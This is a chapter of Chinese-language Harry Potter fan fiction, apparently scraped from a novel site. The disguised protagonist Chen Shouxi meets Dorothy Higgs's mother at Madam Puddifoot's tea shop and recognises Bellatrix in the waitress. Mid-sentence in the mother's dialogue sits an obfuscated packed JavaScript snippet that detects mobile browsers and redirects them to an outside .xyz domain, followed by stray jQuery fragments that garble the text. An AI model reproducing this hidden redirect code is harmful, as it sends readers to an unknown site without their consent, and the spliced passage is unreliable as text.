42.第14章 霍格莫德的偶遇

作品:《[HP]黑巫师行为观察报告

    星期六的清晨,连接着斯莱特林一年级和二年级的寝室的走廊里静悄悄的——大部分的学生仍在熟睡。


    三年级以上的那边就是另一番景象了。七点半刚刚过,走廊里就断断续续地响起一阵阵的脚步声。接着,快到八点的时候,通往公共休息室的路上就堆满了人。年轻的男巫女巫们三一群,两一伙,欢快地和自己的同伴们交谈着。三年级的小巫师们看起来尤其兴奋——这是他们第一次在学校的组织下前往霍格莫德。


    “我家就住在那里!”一个三年级的女巫神采奕奕地说着,“如果我妈妈在家的话,你们还可以来我家坐坐。”


    “哦,行行好,纳尔,我可一点儿也不想见你的母亲。”


    "..."


    挤满了学生的公共休息室里十分喧闹,直到那个披着黑色斗篷的瘦削身影出现在众人的视野。房间里像是被施了魔法一样,随着一开始看到他的几个人闭上嘴,再到他们旁边的几个人发现异常,接着是更远处的一圈人...安静在公共休息室里传播开。


    “四年级以上的学生站左边,三年级的排好队来这边,准备好你们的家长许可。”等到人群安静下来,斯内普开始面无表情地宣布。


    陈守熹很早就醒了。她一直待在自己的寝室里。直到走廊里的说话声完全消失,她又等了一会儿,才小心翼翼地走出寝室。这个时候的她还保持着周诗灵的面容,但是她背包里的保温杯内,装着一瓶加入了多萝西头发的复方汤剂。


    她耐心地倾听着走廊里的动静,直到门外一点儿声音都没有了。她看了一眼墙上的挂钟,又等待了半个小时左右,才走出寝室。她离开地窖,沿着一条条走廊一直向东北方向行走。她的目的地是三楼的戈斯穆尔的冈希尔达走廊。陈守熹特意避开了所有的移动楼梯,选择了绕路——在经过了被费尔奇误会的那件事之后,她只有在迫不得已的时候才会走上移动楼梯。


    过了没多久,陈守熹就看到了在原文中哈利·波特打开过无数次的驼背独眼女巫。她稍稍定了定神,仔细地观察四周。在确定没有人之后,陈守熹抽出魔杖,点在独眼女巫背上:“Dissendium(左右分离)!”


    石头雕像的机关启动了。驼背女巫的背部被打开,陈守熹迅速钻了进去。


    她不受控制地顺着光滑的石头路面滑了一段时间,这期间她听到了魔杖略带嘲讽的笑声。接着,陈守熹感受到了泥土地面。她站稳身子,念了一句“Lumos(荧光闪烁)”。魔杖的杖尖发出一阵明亮的光芒,让陈守熹能够看清她周围的环境。


    她简单地观察了一下四周,等待着乔斯琳的复方汤剂失效,之后喝下了装有多萝西头发的复方汤剂。在忍受了一番胃里的翻江倒海之后,陈守熹感觉到自己的身子变得高了几分,她脸上的细胞四处游走着,形成新的形状,头发开始变得卷曲...


    等到复方汤剂的变形结束,陈守熹才沿着通道继续向前走。这时候她已经变成了多萝西的样子。


    通道蜿蜒崎岖,地面凹凸不平。陈守熹走得很慢,中间还停下了一次,又喝了一剂复方汤剂。她并不着急,但是她想要保证自己没有摔倒——如果她不断摔倒的话,身上的泥土可能会引起注意,而这正是她不想要的。


    尽管陈守熹的小心,她还是摔倒了一次。陈守熹拍了拍裤子上的尘土,继续前行。


    她感觉自己走了一个世纪。


    最终,在一个半小时之后,陈守熹看到了通往蜂蜜公爵的破旧石阶。


    十几分钟后,陈守熹跌跌撞撞地出现在了蜂蜜公爵的柜台后面。前厅里是学生们嘈杂的议论声。陈守熹卷缩着身子,爬了几步,之后在人群中站起身。


    陈守熹清楚地知道她来霍格莫德的目的,然而她的目光还是忍不住在货架上光怪陆离的糖果之间徘徊。她从来没有见到过这么多奇形怪状,五颜六色的糖果,其中的一部分还飘在空中,有的还在动。如果其中的一个突然跳到陈守熹面前,对着她开始唱歌,陈守熹也不会感到稀奇。


    快速看过一遍货架上琳琅满目的商品,陈守熹悄悄地穿过人群,离开了蜂蜜公爵。


    她沿着蜂蜜公爵所在的街道走了一阵,在一家小商品商店买到了一张霍格莫德的地图。她在路边研究了一阵,找出了前往帕笛芙夫人茶馆的路线。


    几分钟后,陈守熹出现在了帕笛芙夫人茶馆所在的街上。她一边看着地图对比着四周的店铺,一边慢慢地前进。同时,她也在留意着四周的环境——她注意着达芙妮和潘西的踪影,也尽量远离其他斯莱特林的学生...


    陈守熹渐渐接近着帕笛芙夫人茶馆,她注意到了站在酒吧旁边的一棵树下的一个身影。


    那是一个四十岁上下的女巫,有着一头卷曲的金色短发。她的面容棱角分明,给人一种精明干练的感觉。中年女巫四处张望着,似乎在等待着什么人。


    陈守熹在距离帕笛芙夫人茶馆还有一段距离的位置停了下来——她不打算冒冒失失地冲进去询问贝拉周诗灵在哪。她也不认为贝拉会告诉她。她需要想别的办法找到那个女孩...


    “多萝西!”一个饱含感情的声音忽然从帕笛芙夫人茶馆的方向传来,吓了陈守熹一跳。她看见站在树下的中年女巫快步向她走了过来。她声音中的那种怜爱和相貌上的干练有些格格不入。


    陈守熹的身子在那一刹那僵住了。


    “哦,我的多萝西!”


    就在陈守熹吃惊的时候,中年女巫已经走了过来,她给了陈守熹一个大大的拥抱:“我的宝贝,我就知道你会来...”


    陈守熹意识到眼前的这个人是多萝西的母亲贝蒂·希格特。她还在思考着着该如何应对,希格特夫人就已经拉着她,向帕笛芙夫人茶馆走去。


    随着她们渐渐接近,陈守熹看见茶馆门口站着一对十五六岁的情侣,手拉着手含情脉脉。


    “几个人?”


    一个年轻的女侍者站在茶馆入口处,面无表情地应付着这两位明显是来自霍格沃茨的学生。她看上去满脸倦容——仅仅是从她的语气中,陈守熹就猜到这句话她已经说过无数遍,说到不想说了。


    “两个。”年轻的男巫牵着他的伴侣的手,出于礼貌,恋恋不舍将视线短暂的从他心爱之人身上离开几秒钟,落在与他对话的侍者身上。


    “茶馆已经满了。”侍者漫不经心地撇了二人一眼,不冷不热地说。


    两个学生对视一眼,看上去有些失望。


    就在这时,陈守熹和希格特夫人来到了茶馆门口。


    侍者瞥了一眼二人,在看到希格特夫人的面孔时,脸上的疲惫一扫而空,换上了端庄的略带微笑的面庞:“夫人,您是两个人吗?”


    希格特夫人扫了她一眼,点点头。


    “请吧,夫人。我们的露台上还有几个位置...”


    “——这是什么意思?”两个学生刚刚走开几步,听到侍者的话,忽然又转过身来。


    “呵呵...”侍者轻笑了两声,声音中带着无法掩饰的傲慢,“也许您误会了什么,小先生——我们剩下的位置比较特殊,不太适合您这样的人。”她说话的时候把“您这样的人”这几个字咬得很重,听上去有几分嘲弄的意味。


    “我这样的人?你到底想说什么?”年轻的男巫看上去更加愤怒了。


    “我不想让您难堪,先生。尤其是在您的约会对象面前。请您离开吧,先生——”


    男生的脸一阵青一阵紫,他咬了咬嘴唇,最终还是没有直接转身离去:“你最好把话说清楚...”


    侍者脸上的表情变得冰冷,她淡淡地开口:“露台上的位置,一个一加隆,您付现金还是支票?”


    年轻的男巫僵在原地,脸色变得更难看了。


    他身边的女孩拉了拉他地衣角,示意他离开。小男孩却沉浸在自己的思绪中,完全没有感觉到她的动作。


    几人僵持的时候,一阵清脆的笑声在陈守熹耳边响起:“年轻人的约会,挺有意思的。他们的入场费算在我帐上吧。”希格特夫人婉转的声音传入陈守熹的耳中。


    “不..我...我不...”男孩看上去更加尴尬了,他的脸涨得通红,一边摆手,一边本能地后退。看上去他想要拉着女孩离开。


    那个女孩却落落大方地走到希格特夫人身前:“谢谢您,夫人。”


    希格特夫人微微点了一下头,拉着陈守熹走进茶馆。


    茶馆的室内,柔和的灯光洒在粉色调的墙面上,白色的藤椅,桌子上摆着鲜花和精致的茶具,窗边的架子上是各式花茶和咖啡。在原本的小说中,哈利·波特曾经和秋·张到这里约会,哈利还在心里暗暗吐槽过这种令他想起乌姆里奇的少女风。


    两个人一直来到大厅的尽头,在侍者的引导下沿着楼梯向二楼走去。


    “不好意思...”侍者有些突兀地开口,“霍格莫德本来是巫师的村落。可是...你知道,总有一些纯洁血统的破坏者来打扰——他们不懂得这里的规矩。”


    希格特夫人没有回应侍者的这番言论。


    她们一行三人沉默地来到露台,陈守熹在希格特夫人的示意下在一个视野宽阔的位置坐下。


    她硬着头皮想象着如果多萝西在这里会怎么做...她印象中的女孩性格比较清冷,在这种场合大概不会表现出太强烈的情绪,所以陈守熹可以在表面上保持平静——她很高兴自己不需要上演一场感人的母女重逢的戏码,那真的有点儿为难她。


    “您需要点儿什么呢,希格特夫人?”


    “一杯黑茶和一杯威尔士绿龙茶,谢谢。”希格特夫人显然不是第一次来这里。


    侍者点了点头,记下希格特夫人点的茶,又确认了一遍。


    “你叫什么名字,小姐?我以前没见过你。”


    在侍者离开之前,希格特夫人忽然问。


    “莱拉,我叫莱拉。”


    陈守熹的心跳开始加速——毫无意外,眼前这个行为透着些许古怪,还有着掩饰不住的傲慢的女人正是她熟悉的贝拉特里克斯...


    在她走神的时候,希格特夫人开口说话了:“说说看吧,你在霍格沃茨怎么样?”


    陈守熹故作淡定地耸耸肩:“挺好。”


    “我希望你和你的朋友处得还好?比如,达芙妮...这孩子怎么样?”


    陈守熹对达芙妮的现状一无所知——她只知道那是一个和哈利同届的女生,整天和马尔福那群人混在一起。她点点头,小心翼翼地说:“是...是的。我和达芙妮很好。”


    “达芙妮...”希格特夫人点点头,忽然又皱起眉头,“你怎么这样说话——我跟你说过让你注意自己的口音。你不该让所有人都知道你是在德国长大的。在英国,你就应该有一个英国淑女的样子...”


    陈守熹终于明白多萝西·希格特那一口有些刻意的牛津腔是从哪里来的了。


    现在,她,作为一个刚刚穿越了一年多的外国人,要挑战模仿这种特殊的口音了。


    “其他人呢?”希格特夫人接着问。


    “我和潘西也玩得不错。”陈守熹斟酌着(腔调和内容)说道,“潘西·帕金森。”


    希格特夫人想了想,脸上露出笑容:“这么说,你不再觉得那个女孩肤浅,骄横,自以为是了?这样才好——你一直自命清高,我总担心你这样交不到朋友...”


    陈守熹意识到自己可能犯了一个错误,表面上却不动声色,只是轻轻“嗯”了一声。


    “莱拉”为两个人端来了希格特夫人要的茶水:“不好意思打扰了,黑茶是给您的吗,夫人?”


    “是的。”在和“莱拉”说话的时候,希格特夫人的声音变得威严而富有磁性,“我的孩子喜欢威尔士绿龙茶。”——当她提起多萝西的时候,声音又变得温柔了。


    “莱拉”把两杯茶分别放到二人面前。陈守熹注意到,贝拉看向希格特夫人的目光里并没有她一如既往的傲慢。这不是一种伪装——就在刚刚,在她为隔壁那桌的两个霍格沃茨学生端上茶点的时候,她的眼睛里还有着那种惯有的神情。


    希格特夫人又提起了之前的话题:“我希望


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14655388|139305||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    你在自己的年级也能有几个能说上话的朋友。如果你不再瞧不上潘西的话,那么你和特拉弗斯家的那个小子应该也处得不错?”


    陈守熹不知道希格特夫人口中的“特拉弗斯家的小子”是谁,但她大概能够想象多萝西不会喜欢他。于是她学着青春期的孩子叛逆的样子有些不满地看着希格特夫人:“妈妈...”


    莱拉又笑了起来:“好了好了,你不愿意就不说他了——知道你在学校有朋友我就放心了。不过我还是觉得你应该和同龄人多聊聊天——不然哪天生病了都不知道找谁借笔记...算了,我再说你又要觉得我唠叨了——说说你哥哥吧。特伦斯今年开学之后还没给我写过信呢,肯定有什么事情惹恼了他。”


    特伦斯...特伦斯·希格特...陈守熹觉得这个名字有点儿熟悉。略一回忆,她就想起了刚开学的时候在公共休息室发生的那个场景——德拉科·马尔福代替特伦斯·希格特成了找球手,斯莱特林的学生都在为马尔福庆祝。多萝西想要劝解失落的哥哥,特伦斯却对她发了火。


    “跟我说说吧,他的魁地奇训练怎么样?我记得他说过,哈利波特是个难缠的对手——他念叨了一个暑假,想要学会什么侧飞加速技巧,他认为这可以让他的速度超过波特...”


    “我...”陈守熹想要说“我不知道”。但是她忽然觉得这个回答不太合理。特伦斯·希格特显然已经不是斯莱特林的找球手了。而身为特伦斯的妹妹,如果多萝西对此一无所知,那真是太奇怪了。于是陈守熹开口道:“我不知道他是不是还在训练,但是他已经不是斯莱特林的找球手了。”


    “什么?”希格特夫人大吃一惊,“怎么...怎么会?这么重要的事情他为什么没有告诉我?”


    陈守熹感觉她可能又犯了一个错误。一个大错。


    希格特夫人皱起了眉头:“他不想给我添麻烦,是不是...他不是在正常的选拔中被淘汰的,对吧?”接着,她的脸上显出愤怒:“新的找球手是谁,让特伦斯认为希格特的名字也无法给他带来公正?”


    陈守熹低着头,摆出一副有些手足无措的样子——这也正是她现在情感的真实写照:“我...我以为他告诉你了...”


    “不要瞒着我,多萝西——现在希格特的名字在英国还有一点儿力量。没有人可以在学校里在你们遭受不公正的待遇。”


    陈守熹在希格特夫人目光的注视下沉默着,直到拿到目光越发地尖锐,她才缓缓开口:“马尔福。是德拉科·马尔福...”


    “那个刚上二年级的傻小子?”希格特几乎是喊了出来,茶馆里的几道目光被吸引了过来,“他——他怎么可能...”


    接着,希格特突然笑了起来:“就凭他的那点儿飞行技巧,怎么可能赢得过特伦斯...”


    “他给斯莱特林的每个学生都买了一把光轮2001。”陈守熹低声说。


    她不知道这是不是一个正确的选择。她改变了剧情——陈守熹认为,在原本的剧情线里,希格特夫人大概根本不知道这件事情。特伦斯没有告诉过她德拉科成为找球手的经过,多萝西也什么都没有说。


    “十几把扫帚?”希格特夫人冷笑,“就算是一千把扫帚希格特也能买得起——还是品质更好的扫帚。”


    “您也打算给斯莱特林的球队送一些礼物吗?”


    “礼物?”希格特夫人嗤之以鼻,“他们这样对待特伦斯还想得到礼物?等着吧——回去告诉你哥哥,马尔福会付出代价的。而且他永远也别想在你们身上找回来——我今天晚上就会联系德姆斯特朗,一旦得到回复,你们立刻就可以去那里上学——在那里,特伦斯还会接着做他的找球手。”


    希格特夫人显然是气坏了。


    但是她是一位有涵养的女士。希格特夫人没有花费大量的时间去咒骂马尔福。她放过这句狠话之后就在没有在这个话题上多做停留。她又问起了多萝西的学习情况。陈守熹能够看得出,在这之后希格特夫人就一直有些心不在焉的有几次,陈守熹感觉到她的回答充满破绽,而且在快速的一问一答之中她很快就放弃了模仿那该死的牛津腔。但是希格特夫人也没放在心上。


    到了中午,希格特夫人看了一眼手表,对陈守熹说:“我得回去了——贸易协会那边还有点儿事要处理。马尔福的事情你就等我的消息吧。”


    陈守熹点点头,看着希格特夫人叫莱拉过来结账。


    “——你的钱还够用吗?”


    在将几枚银西克递给“莱拉”,告诉她不用找零之后,希格特夫人转向陈守熹。不等后者回答,她便从钱包里掏出几个加隆,塞到陈守熹手里:“好了,就这样——万圣节再见!”


    陈守熹与希格特夫人挥手作别。


    在希格特夫人匆匆忙忙地离开之后,她还在寻找着外套的第二只袖子,以把左手穿进去。莱拉的手中握着她的魔杖,指挥着一块抹布在桌上爬来爬去:“希格特小姐,你在学校遇到了什么麻烦吗?”


    陈守熹认为莱拉刚才大概是听到了她和希格特夫人的谈话——又或者是听到了一半,察觉到了希格特夫人不大对劲的神情。她大概没有听明白整个事情的经过。


    “我很好,谢谢你,莱拉。”说着,陈守熹终于穿好外套,准备起身离开。


    “如果你有什么困难的话...”莱拉压低声音说道,“我会乐意帮忙的——我是说,我相信希格特夫人的能力,只不过,霍格莫德离霍格沃茨更近一些...”


    “谢谢你的好意,莱拉...”


    “总之,无论遇到什么事情,你都可以来找我,希格特小姐。我一点儿也不介意替希格特夫人这样的体面人关照他们的年轻人...”莱拉让飞舞的桌布擦掉桌上的最后一抹污迹,陈守熹站起了身。


    在她离开之前,忽然想到了什么:“也许我真的有些事情需要你帮忙。”


    “乐意之至。”


    “我想见到一个亚裔的,麻瓜出身的女孩,我希望能够和她单独待十分钟。”


    “莱拉”脸上的笑容在一瞬间凝结。